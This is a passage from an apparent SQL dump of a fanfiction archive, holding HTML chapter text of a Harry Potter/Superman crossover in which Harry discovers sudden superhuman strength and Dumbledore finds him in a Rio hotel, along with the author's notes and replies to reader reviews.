hotel, but that was when Harry took full measure of how he must be looking, all wrapped up with a sand-infested towel that hid little of his body. Added to that was the fact that it was more than probable that no one could associate him with the weak-looking teenager that had come with Albus it was very unlikely that a hotel of the category and standing as the one they were booked in would allow him to enter.</p>\n\n<p>His mind in a rush, Harry tried to come up with a possible solution, his mind racing to give him an answer, recalling times in the past, more importantly this last year at Hogwarts, when the pressure coming from the events in the fourth year had forced him to get far from the spot light. </p>\n\n<p>Still, back then he had had his wand and magic at his disposal and when that wasn&#8217;t possible he had had the invisibility cloak of his father to help him. But now he had none of those, not even the wand that Dumbledore had convinced him to leave in his care. </p>\n\n<p>Line point: magic was cut off from him.</p>\n\n<p>Then suddenly his eyes lit up as he saw the perfect opportunity to pass through the gates of the hotel as a veritable horde of Japanese tourists alighted from a bus that had stopped in front of the door of the hotel.</p>\n\n<p>Harry waited a moment more, up to the point when he believed that he would be able to pass without calling anyone&#8217;s attention. Once within the hotel he would blast towards the stairs and reach his room. With luck, Dumbledore would be there preparing himself for their nightly excursion.</p>\n\n<p>Dumbledore would know what to do.</p>\n\n<p>Said and done. </p>\n\n<p>Harry soon found himself using the tourists as a shield, trying to make himself as unnoticeable as possible. With his heart pounding in his ears, he quickly ducked the group he was in (who believed what he was doing to be a charming local custom), reached the stairs and with the same speed as if Voldemort was on his tail started to ascend through the hotel. After ten levels he was still running, trying to remember where his room was, strangely not feeling winded in the slightest.</p>\n\n<p>Harry&#8217;s main thought was to reach Dumbledore, but not being seen was a close second. </p>\n\n<p>For once luck seemed to be with him as he reached the door after turning and turning again through the corridors of the hotel without being seen. Unfortunately his desperation grew when he realized that the door was closed.</p>\n\n<p>Frantic, he tried to push the door, a movement born of desperation that he knew wouldn&#8217;t work...</p>\n\n<p>So it was surprising when the door opened with a sound like thunder, Harry&#8217;s push almost tearing it from its sockets, crashing and taking him with it. The teen landed on the ground violently and the ground vibrated because of the strength behind his shove.</p>\n\n<p>His mind, not even fazed by that string of events, halted, startled, coming quickly to a conclusion:</p>\n\n<p>Something like that should have hurt like hell.</p>\n\n<p>Something like that would have broken his nose and knocked up some teeth.</p>\n\n<p>And yet, nothing. </p>\n\n<p>No pain. Not even a sensation of discomfort.</p>\n\n<p>Harry shook his head and scrambling rose up, his eyes growing wide as he took in the damage a single, simple shove had caused. With returning panic Harry lifted the massive door effortlessly, the same door he thought not so long ago would hold off a platoon of Death Eaters if need be.</p>\n\n<p>And he had torn it from the door frame as if it had been made of wet paper!</p>\n\n<p>Not knowing what to do, Harry moved it back to the door frame, putting its downed part back where it belonged clumsily. Not getting the results he wanted, Harry pushed a little more, wincing at the sound when the metal of the door twisted as he pressed it to the frame and by force alone forced it back to its previous state... more or less. It collapsed slightly with a metallic complain.</p>\n\n<p>Backing, he looked mindlessly at the door for a moment, noticing dumbly that without a near look no one would notice the damage. Still that was quickly swept away by his fear, turmoil and a thousand different thoughts.</p>\n\n<p>Silently he crashed on the ground, the towel that until now had hung on his waist untying without Harry caring about it. Without a sound he gathered his knees to his chest and buried his head in his hands, foreign sensations welling in him, coming from his senses, from this body that was not his.</p>\n\n<p>Soon darkness filled the room but Harry could care less as his mind emptied itself from complex thoughts, leaving to give place to more primeval feelings. </p>\n\n<p>He couldn&#8217;t have told anyone how much time had passed, but suddenly a sound of wings drew his attention from inwards and it was with flooring relief that he saw Fawkes land in front of him, its body giving off a sweet golden light that chased the darkness away. </p>\n\n<p>The phoenix head bobbed back and forth as it crooned sweet notes, making Harry smile tentatively as he saw Fawkes&#8217; clear intent to cheer him up. His new alien-feeling hand moved slowly to pet the magical bird, a way for the young wizard to demonstrate his gratitude to it. Awkward as it could be, Fawkes seemed to enjoy it, his purring quite obvious in the darkening room.</p>\n\n<p>Harry soon closed his eyes, closing them to the world, his only contact with his surroundings his hearing and his touch on the phoenix. Finally in the darkness, with Fawkes as his only companion, Harry let go.</p>\n\n<p>---------------------------------------</p></font>\n\n ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(183, 4, ' \n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-15">\n\n<meta name="GENERATOR" content="wvWare/wvWare version 0.7.6">\n\n<title> --------------------------------------- </title>\n\n\n\n<br>\n\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Last Son Of Krypton </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">A Harry Potter/ Superman/Smallville/ crossover/fusion/whatever</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">By Dragonlord </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><u>Disclaimer</u></b></font><font color="Black"><u>:</u></font><font color="Black"> Harry Potter is the sole property of J.K.Rowling. Superman is born out of the minds of Joe Shuster and Jerry Spiegel and all rights are recognized, so if you want to sue me go ahead! </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Lose you time.&nbsp;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still if you want to contact me, my e-mail for my time in France is</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font><font color="Black"></font><font color="Black"></font><font color="Black"></font><font color="Black"></font><font color="Black"><a href="mailto:askani_2003@yahoo.fr"></a></font><a href="mailto:askani_2003@yahoo.fr"><font color="Black"><u>askani_2003@yahoo.fr</u></font><font color="Black"></font></a><font color="Black"><u></u></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><u></u></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i><u>Author\'s notes: </u></i></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&nbsp;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">First I want to apologize for the time it took me to post this, quite simply I don\'t have much free time here in Paris and the time in which I can work with a computer is quite rare. This, coupled with one of the worst heat wave in years to cross Europe, didn\'t make things more easy&#8230; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Anyway, this goes ( once again, I know) to the people at the Portkey Chat, meaning Bristar, Max, Aurora, Darkstar, Hallie, Misstake, Babygrrl, Thelvyn, Sky is Blue, XxKkAnGxX, Ryoko Blue, Heaven, Lady Slytherin, Countess (aka 714), Hermione QoH, Evil Hermione, Tuxedo Kamen, Mola and all the others. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And of course special thanks for </font><font color="Black"><b>Nappa</b></font><font color="Black"> and </font><font color="Black"><b>Dauphin.</b></font><font color="Black">\n\n</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i>Dauphin</i></font><font color="Black">, because I know that she\'s a very busy girl and I keep pestering her about the beta. By this time ythis is as much her story as it is mine so, once again thank you very much!!</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And </font><font color="Black"><i>Nappa</i></font><font color="Black">, what can I say? Mate, I promise I will send you what I owe you, maybe sooner than what you can think. Till then enjoy this as I know you will ^_^</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">To you two, there aren\'t any words that can convey what I fell about you both. Thanks for all the support you have given me since the beginning, they have keepen me going on.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Yet, before going on with the show, the reviews of all those valliant enough to read my story!</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><u></u></b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><u>Chapter 1</u></b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>E.C.R. Potter:</b></font><font color="Black"> I think I answered your review with an e-mail&#8230; but I want to thank you once again for your review, one of the first to be posted.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Msscribe:</b></font><font color="Black"> coming from you that means a lot&#8230; I\'m ready to die an happy man&#8230; sigh.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Alex:</b></font><font color="Black"> I don\'t understand you.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Sky is Blue:</b></font><font color="Black"> I\'m going red&#8230; please don\'t continue or I will start to look like a tomato!</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Ranma:</b></font><font color="Black"> using the words of Mr Robert Jordan, I\'ll stop writing the day they nail my coffin shut.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Of course thanks to Jeremiah, Nikki Cameron, Lordanhur, Chang, Julian Smith, fopalup, Serendipity and Clair&#8230; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><u>Reviews for Chapter 2</u></b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>XxKkAnGxX:</b></font><font color="Black"> this is also freaken long (lol) but I\'m sure you will read it as fast as ever, if you enjoy it as much as the previous part&#8230; which I hope you do.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Silverleaf:</b></font><font color="Black"> my oh my, you sure are a cleaver girl! Some of what you said is true and indeed it will happen but Harry will not be disguising himself as you think&#8230; one thing I can say is that his glases are to stay.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As for Ron, well after the events of the OotP everything is possible even him fulfilling his erised dream&#8230; ugh (!!)</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>CryHope:</b></font><font color="Black"> lol One of my beliefs is that fanfiction should be recognized as a valid form of writing, even if I don\'t feel that mine is of such level. Anyway I\'m happy that you like so much my little tale. I hope this update pleases you as well.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Thelvyn:</b></font><font color="Black"> I\'m glad that you liked the way I portrayed Albus\' family. Be ready to see them later in future chapters. And see you at the chat one of these days.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Ryoko Blue:</b></font><font color="Black"> even if the review was short I loved it. I think it\'s due to the admiration I have for you and your work, that goes beyond words. I hope you enjoy this part as much as the previous.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Liedral:</b></font><font color="Black"> now, that\'s a secret! I will only tell you that there are six other like the one Voldemort took from Assim. Notice that he was the one to do the dirty work, not one of his lackeys, so think about that. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Dark Golo:</b></font><font color="Black"> glad that I keep pleasing you with my work. As for Harry being told the truth about Albus\' past too soon you have to think that for the members of Dumbledore\'s family Harry is not a stranger. Albus is rarely at the manor and if he is there and talks all the time about Harry it\'s bound to be taken in count by those that know him, don\'t you think?</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Peter:</b></font><font color="Black"> thanks for your more than flattering review, I simply try to do the best I can with a not so little help from my beta Dauphin. I\'m happy to know that this story didn\'t disappoint you. Enjoy this please. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Clair:</b></font><font color="Black"> yes this is a H/Hr (as if it could be anything else at Portkey) but it will take some time to come to that, without forgetting a romance triangle in the way (and no, I\'m not talking of the R/H/Hr thing). As for Harry\'s new family sorry that you have lost yourself&#8230; you better check it again as they will have a role in the future quite important.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Lilytiger20:</b></font><font color="Black"> thanks for your kind words. As for me being original I bet you could be too. You only need an idea, some time and a bunch of questions that you think you can answer&#8230; after all I\'m like you a fan, nothing more to it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Monday Morning:</b></font><font color="Black"> it seems there are many fans of the man of steel around here and so far it seems that they all like my way of blending the worlds of HP and Superman. Of course, I\'m pleased to met you Amanda and I know I would like to be a friend of yours, that\'s clear enough, but till now I haven\'t have the pleasure of knowing the states. One day, who knows?</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still, and being honest, I\'m surprised by what you\'re telling me. The ideas for Dumbledore family, I mean concerning most of the characters that you find in it (like Amanda), are taken from series like Highlander, Sliders, BTVS and Angel coupled by high doses of my own crazy imagination, so I\'m surprised and quite pleased to know that I can describe so well a piece of the &#8220;real&#8221; world unknown to me. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Bloodlust Vampire:</b></font><font color="Black"> I\'m glad that you liked my story so much and that you find some source of entertainment in it while at the army ( did I understood it right?). Sorry for your bad day, even if I\'m more than late to tell that&#8230; But, hell, that\'s the sort of stuff we laugh about, months and years later when we look back in time. I hope this piece of chapter two pleases you as much as the others, thank you for your kind words and more than encouraging review.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Tristan:</b></font><font color="Black"> As I think I said somewhere I try to be original, something quite rare in the HP fanon I think, even if there are brilliant stories that use known (and more than too used) ideas.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>RedPhoenix:</b></font><font color="Black"> I\'m happy that you think so, but much of that is due to my beta, Dauphin that smooths things enough to allow you all to read the story. I don\'t know how I would do it without her&#8230; As for your suspitions you will have to tell me as this time what you see is what is, no double intention from the old man&#8230; but that can and will change in the future.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>TimGold:</b></font><font color="Black"> I\'m unable to do short things, anyone that knows my stories is aware of that. Anyway I\'m preparing another story in which I\'m making efforts to do short chapters, look forward to </font><font color="Black"><u>Tainted Souls,</u></font><font color="Black"> you may even like it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As for the Hr/R I see it as a needed evil, and believe me I\'m the first to dislike having to make them a couple&#8230; writing those parts nearly made me feel sick. Anyway that time is now gone&#8230; well more or less.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Clasic Cowboy: </b></font><font color="Black">He\'s not yet the man of steel but he will get there. As for the reaction from Ron and Hermione, not to forget the rest of Hogwarts&#8230; well I\'m not telling but I\'m sure it will be fun.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And let\'s not forget Lordanhur, Soulshine, Franco, Joe, Megan, NymphGirl, Sandra, levaithan, Jedi Mage, Rhiannon_woods, J.T.J., Scott&#8230; thanks guys! </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><u>Reviews for Chapter 3</u></b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Kelly:</b></font><font color="Black"> I am of those that think that some R/Hr is needed if only to show how wrong that ship is. As for the presence of that ship in the OotP I found it pretty non-existent (he he he) </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Fusion Blaster:</b></font><font color="Black"> wouldn\'t it be cool if we could introduce music in our fics?</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Tristan:</b></font><font color="Black"> the link is not broken, it\'s still there to both Harry and Tom\'s displeasure&#8230; what is gone is the influence of the Avada Kedavra. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>E.C.R Potter:</b></font><font color="Black"> your words sound like fine music to my ears. As for going &#8220;Smallville&#8221;&#8230; yes and no as you will soon discover reading this chapter. I tell you this much, he will be using the &#8220;Clark Kent&#8221; disguise. I\'m trying to introduce more concepts from the comics and everything Superman related, namely a known amazon princess, red and green pieces of Kal-El\'s birthplanet and much, much more.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As for the Hogwarts gang Harry will not be the only one to pass by changes, some other students will too. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Will:</b></font><font color="Black"> expect some humor now and then.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Dark Golo:</b></font><font color="Black"> I\'m glad that you liked the chapter so much. I only hope this one keeps pleasing you as much as the previous ones. As for the speed in posting it depends greatly on my free time and the one of my beta and sometimes it takes too much time for my and anyone else liking. Sorry. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Nathan:</b></font><font color="Black"> you will have to wait a little before that happens, sorry.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Liedral:</b></font><font color="Black"> yeah I know, this part for example is more or less 35odd pages long and some 17000 words long. Quite a bit I think. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Rhiannon_woods:</b></font><font color="Black"> I\'m glad that I was up to your expectations. I hope this chapter too keeps up with them but please, please don\'t die on me.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Cry Hope:</b></font><font color="Black"> thank you for your well wishes, it sure is an experience to be fifteen months far from home and my computer. Makes things interesting.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Miles militis ab perditio:</b></font><font color="Black"> this chapers as you will see will answer many of your questions, none of Harry\'s abilities have changed. What happened was that the contamination due to the killing curse was vanished by Harry\'s Kryptonian physilogy. If you like, think of it as a oil upon water, tainting it and currupting it or as a variant of kryptonite keeping Harry weak and unable to reach his full potential. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Michelline:</b></font><font color="Black"> I have come to the conclution that it\'s impossible for me to write short chapters. In fact I wrote summer of discoveries in one go, not planing to divide it in parts but it was getting too big. I hope you like this parts as much as the others.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Cole:</b></font><font color="Black"> thank you for your praises. Knowing the level of the works here at Portkey, that\'s saying something.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Nick:</b></font><font color="Black"> well, I hope you find this as interesting as what is already posted.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Leothelion:</b></font><font color="Black"> I aim to be original. Still this only started with the crazy idea that Tom Welling could be a very great older Harry, and from there to this.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Calestina:</b></font><font color="Black"> a greek god? Lol, yeah you could say that, his change will lead to some interesting reactions that\'s for sure. It will be fun.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Xavien:</b></font><font color="Black"> you can say that, you only have to wait and see. By the way, the background is about to get a little more complicated.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Kaiser Dragon:</b></font><font color="Black"> well I\'m not planing in stopping it, quite the contrary. I may even do an alternate version for snogwarts once its online so keep looking out for this story. Oh and yeah we will reach the reasons for the R rating, just be patient. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Aztec:</b></font><font color="Black"> there you have it, sorry for the waiting. I hope you continue to enjoy the story.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Fopalup:</b></font><font color="Black"> I hope this chapter and those following keep up with your expectations, and yeah now things are going to be fun&#8230; sadly Harry may not think so! </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b>Jezebel:</b></font><font color="Black"> I try to not make those parts that long, but I\'m a lost case, I\'m damned to write long pieces.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And also thanks to Levaithan, Tim Gold, Afiz, Franco, mina, Bloodlust, Badxander, Flaming Aussie, Clair, Satoshi, Morto, Merlin and MrKlortho for their kind reviews, be sure that they are apreciated, and a </font><font color="Black"><b>lot</b></font><font color="Black">. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">This done on with the story!</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&nbsp;---------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Chapter two: Summer of discoveries</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Part 1.3.</font>\n\n</p>\n\n<p>\n\n</p><p> --------------------------------------- </p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">When Dumbledore reached the suite he shared with his adopted grandson the first thing he saw was the door, broken by what he could judge was nothing more than physical force.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That was enough to make him pause.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The hotel may have been Muggle but he had been sure of its security, on both Muggle and magical sides before departing towards it. Nothing was left to hazard in this. He even went to lengths to choose a second secret keeper to keep his own location hidden and steer away Voldemort and his forces.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">His senses told him nothing of danger and that relaxed him somehow. Anyway he wouldn\'t be able to move the door because whoever had broken it had, after blowing up the door, slammed it back with equal strength.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">With physical means he would gain nothing.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Looking around and assuring himself that no one would see him he summoned his wand, whipping it with an expert flick of his wrist before muttering the reparo charm. Soft white light surrounded the door and repaired the damage caused.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Then with another burst of magic the door opened to reveal darkness, a darkness cut by the lights coming from the windows of the room from where the nightly ilumination of Rio could be seen, thousands of stars shimmering in the night.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still there was someone here and it could be only one person...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The old wizard knew that Harry was within the dark room but the sounds coming from the </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">streets and beaches nearby drowned almost all sounds, forcing Albus to strain his hearing. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">His efforts were reward by the sound of a slight breathing accompanied by a soft purring that Albus recognized immediately. By that point his eyes had already started to get used to the lack of a major </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">source of light, but still he moved towards the light\'s switch and with a gesture turned it on, chasing the darkness away and allowing him to see his young friend.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Immediately Albus was able to see what was wrong and it was, well surprising.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Harry, please look at me.&#8221; He said gently as he neared the young man who was sitting with his back turned towards him&#8230; his wider, muscular back. Under his sight muscles tensed and relaxed - an answer to some unknown struggle. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Finally Harry rose from his sitting position and turned to face the headmaster.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The thing that drew his attention first was the fact that Fawkes was asleep between Harry\'s arms, the phoenix purring contently as it slept, its crimson and gold body lined by a soft glow.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">His attention, however, immediately turned to Harry.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The teenager having turned to face him, it allowed the old wizard to see the boy\'s features for the first time and he had to contain a startled gasp as he fully took in the changes in his young charge.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The green eyes were still there, maybe even more luminous but his face had changed, matured to his proper age and maybe even more. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Yet Harry, who had always been compared to a younger James, looked little like before, a face of his own that due to the new cast had turned from pleasant to downright good-looking. His scar was still there, unchanged even if it seemed to glow slightly within its depths. His hair was still a shiny silky black but looked less wild, more tamed and stylish.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">His attention returned to the boy\'s eyes, those wonderful pools of emerald.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As amazing as they always were, there was such doubt, fear and suffering in them that it literally took his breath away. It was clear that this change was affecting Harry deeply and he would be damned if he did not do something to lighten this new burden.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore, tenderly reached to Harry and, with uncanny gentleness, put a hand upon his shoulder.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry trembled slightly at the contact and Dumbledore could feel the muscles shift under the tanned skin.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">They had the feel of steel.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Harry, tell me what happened. You don\'t have to do this alone.&#8221; He said, his voice gentle but coaxing. Slowly Harry nodded. Gesturing for Dumbledore to move aside, Harry moved to the balcony still holding Fawkes in his arms. Once he was outside, he remained unmoving, like a statue of human </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">perfection.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore looked at Harry\'s body, his eyes moving upon the newly developed muscle groups that from time to time tensed and relaxed. Harry\'s musculature wasn\'t bulging, unlike Muggle weight lifters but it was still impressive - lean and perfectly marked.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Comparing that to his body from some hours before it was easy to understand how Harry could have freaked out, no matter what phenomenal self control the teenager had, so radical had the change was.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Acting on a hunch Dumbledore shifted his vision to his magical one, the one that allowed him to see the aura of magic spells and the very auras of all living things. What Dumbledore saw nearly left him blind and even then he had to resist the urge to gape because of the meaning of his vision.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Until then if one looked at Harry\'s aura he would see it shrouded in green light. Ever since the first time Dumbledore saw him after the death of James and Lily, Harry had a coating of green light upon every inch of his body. But through the years Albus had seen it pale, weakening to the point that one could almost see it flickering but still hiding Harry\'s true aura.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus had dubbed it the Kedavra Seal.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was gone and now Harry pulsated, sending waves of dim golden light and, even if the aura seemed almost drained, the lines in Harry\'s body seemed to be made of light.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">What he had been expecting for nearly seventeen years had finally happened.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And he knew what was tormenting Harry and that the moment to tell him the truth about his origins, about himself had come at last.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Truth was a beautiful yet terrible thing, indeed. He had said that once, a long time ago and how he loathed to be so right about this.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Using his wand Dumbledore made some clothes appear upon Harry, sweat pants with sandals and a sleeveless T-shirt that fit perfectly on Harry\'s new frame. All his clothes were black but enchanted to keep up with the ambient temperature.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font 